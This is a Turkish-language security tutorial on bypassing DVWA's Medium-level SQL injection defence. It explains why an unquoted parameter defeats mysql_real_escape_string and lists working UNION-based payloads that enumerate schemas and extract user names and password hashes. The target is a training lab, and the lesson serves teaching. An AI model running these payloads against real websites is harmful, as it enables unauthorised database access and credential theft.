Ders 16 - SQL Injection (Medium Level)
Bu yazıda güvenlik düzeyi Medium seviyesine yükseltilmiş DVWA'nın SQL Injection'a karşı aldığı önlem incelenecektir.

Dersin Hedefi

Medium seviyesindeki güvenliği aşın ve yine SQL Injection yapın.

SQL Injection'a Karşı Önlem

Eğer önceki yazıları okumuşsanız artık biliyorsunuz ki SQL Injection yapıp yapamayacağımıza tırnak karakterini uygulamaya göndererek hata verip vermemesine göre saptayabiliyoruz. Önceki derslerde yapılan SQL Injection aşağıdaki kaynak kod yüzünden yapılabiliyordu:

<?php 

if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; // Increase loop count $i++; } mysql_close(); } ?>


5. satırda kullanıcıdan gelen veri $id değişkenine atanmaktadır. 8.satırda $id değişkeni SQL sorgusunda kullanılmaktadır. İşte güvenlik zafiyeti bu satırdan kaynaklanmaktadır. $id değişkeni hiçbir denetlemeye tabi tutulmadan direk SQL sorgusuna dahil edilmiş. $id değişkeni içindeki sakıncalı karakterlerden ayıklanmadan SQL sorgusuna dahil edildiği için biz tırnak kullanımının avantajından faydalanabildik ve SQL Injection yapabildik. Bir de güvenlik Medium seviyesine çıktığında kaynak koddaki değişime göz atalım:

<?php 

if( isset( $_POST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 
    $id = mysql_real_escape_string( $id ); 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Display values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; // Increase loop count $i++; } //mysql_close(); } ?>


Görüldüğü üzere 6. satırda mysql sorguları için bir anlam ifade eden karakterlerin önüne ters slash koyan mysql_real_escape_string() fonksiyonu kullanılmış. mysql_real_escape_string() fonksiyonu SQL sorguları için anlam ifade eden karakterlerin önüne ters slash işareti koyarak o anlam ifaden karakterin sql için olan anlamını yok edecektir ve stringleştirecektir. Bu ciddi bir güvenlik önlemidir. Şimdi 9. satıra dikkat edelim. Fark ettiyseniz $id değişkeni SQL sorgusuna tırnak kullanılmadan dahil edilmiş. Maalesef bu kullanım 6. satırdaki mysql_real_escape_string() fonksiyonunun temin ettiği güvenliği al aşağı edecektir. Çünkü kullanıcı gireceği sql injection kodlarına tırnak eklemek mecburiyetinde kalmayacaktır. Dolayısıyla tırnağın önüne ters slash koyan mysql_real_escape_string() fonksiyonu ters slash koyacak bir tırnak bulamayacaktır. Tırnaksız sql injection kodu da PHP'nin esnekliği sayesinde kusursuzca çalışacaktır. Sonuç olarak güvenlik aşılmış ve sql injection saldırısında bulunulmuş olunacaktır. Şimdi pratik üzerinden gidelim ve olayı biraz somutlaştıralım.

Öncelikle girilecek enjeksiyon kodları bu güvenlik seviyesi gereği farklı şekilde ekrana girilecektir. Ekranda bir comboBox göreceksiniz:





ComboBox'lar arayüzden veri girilmesine izin vermezler. Yazının ileri kısımlarında bahsedilecek enjeksiyon kodlarını sırası geldiğinde ekrana girebilmek için comboBox'a sağ tıklayın ve Öğeyi Denetle (Inspect Element) seçeneğine tıklayın. Bunun üzerine tarayıcınızın alt tarafında küçük bir pencere açılacaktır. O pencerede mavi renkle seçili bir satır göreceksiniz. O satırın başındaki üçgene basarak satırı genişletin.





Açılan seçeneklerden value'su 1 olanın (value="1") tırnaklarının içerisindeki 1'e çift tıklayın. Aşağıda ne zaman bir SQL Injection kodu verilirse bu çift tıkladığınız yerdeki 1'i silip yerine enjeksiyon kodunu koyun ve ardından ENTER yaptıktan sonra ekrandaki Submit butonuna basın. Bu kopyala, yapıştır, ENTER ve Submit olayını her enjeksiyon kodu için tekrarlayın.

Şimdi SQL Injection kodlamalarına geçelim. Öncelikle prosedür gereği SQL Injection açığı var mı yok muyu bir test edelim:

Metin Kutusuna Girilecek Kod (Tek tırnak):
'

Ekran aldığı tek tırnak sonrası hata verecektir. Normalde şunu düşünmeniz gerekir: mysql_real_escape_string() fonksiyonu tırnakların önüne ters slash koyduğuna göre, yani tırnak karakterini SQL komutu olmaktan çıkarıp string'leştirdiğine göre niye girdiğimiz tırnak hata verdirdi? Bunun nedeni ters slash'ın da bir ters slash'a ihtiyaç duyuyor oluşundandır. Ters slash'a ters slash ekleme işlemi gerçekleştirilmediğinden tek tırnak string'leşemeyecektir ve yine hata verilmesine sebebiyet verecektir. Yani sonuç olarak hedef sayfa halen SQL Injection açığını barındırmaktadır. Şimdi aşağıda alt alta verilmiş olan SQL Injection (Low Level) dersinde detaylı olarak anlattığımız saldırı teşebbüslerini sırasıyla F12 yapıp value="1" 'in 1 değeri yerine girin, ENTER'layın ve Submit'leyin.


99 or 1 = 1 #
99 or 1 = 1 ORDER BY 1 #
99 or 1 = 1 ORDER BY 2 #  
99 or 1 = 1 ORDER BY 3 #  
99 or 1 = 1 UNION Select 1,2 #
99 or 1 = 1 UNION Select 1,version() #  
99 or 1 = 1 UNION Select 1,schema_name from information_schema.schemata #
99 or 1 = 1 UNION Select 1,group_concat(schema_name) from information_schema.schemata #
99 or 1 = 1 UNION Select 1,group_concat(table_name) from information_schema.tables Where table_schema=0x64767761 # 
99 or 1 = 1 UNION Select 1,group_concat(column_name) from information_schema.columns Where table_name=0x7573657273 #
99 or 1 = 1 UNION Select 1,group_concat(user,0x3b,password,0x0a) from dvwa.users #


NOT: Yukarıdaki kodlar Low Level'daki enjeksiyon kodlarının tırnaksız halleridir. Çünkü Medium Level'daki SQL kullanımı tırnaksızdır.

NOT 2: Yukarıdaki kodlarda table_schema='dvwa' ifadesi tırnaksız olması adına kolon değerindeki dvwa kelimesi hexadecimal değerde girilmiştir. Aynı şekilde table_name='users' ifadesi tırnaksız olması adına kolon değerindeki users kelimesi hexadecimal değerde girilmiştir.


Böylelikle Medium Level güvenliğinde dahi hedef sitenin admin kullanıcısının şifresine erişebilmiş olursunuz.

Yararlanılan Kaynak:

Bu yazı 17.01.2016 tarihinde, saat 16:10:06'de yazılmıştır. 23.08.2024 tarihi ve 17:42:41 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 3816
Yorumlar
Halis Şahin
where komutunda kullanmış olduğunuz ( ' ) tırnak işareti hata veriyor. Komutların tamamından ( ' ) tırnak işareti kaldırılarak tasarlanması gerekmiyor mu?
Bu yorum 19.06.2020 tarihinde, saat 15:59:01'de gönderilmiştir.
Hasan Fatih ŞİMŞEK
Merhaba Halis, haklısın. Makalede o satırları hatalı vermişim. Bilgilendirme için teşekkürler. Makaleyi düzenleyip güncel halini paylaşacağım.
Bu yorum 31.01.2022 tarihinde, saat 20:26:00'de gönderilmiştir.
Hasan Fatih ŞİMŞEK
Merhaba, makale güncellenmiştir. Tekrar bilgilendirme için teşekkürler.
Bu yorum 01.02.2022 tarihinde, saat 16:31:02'de gönderilmiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :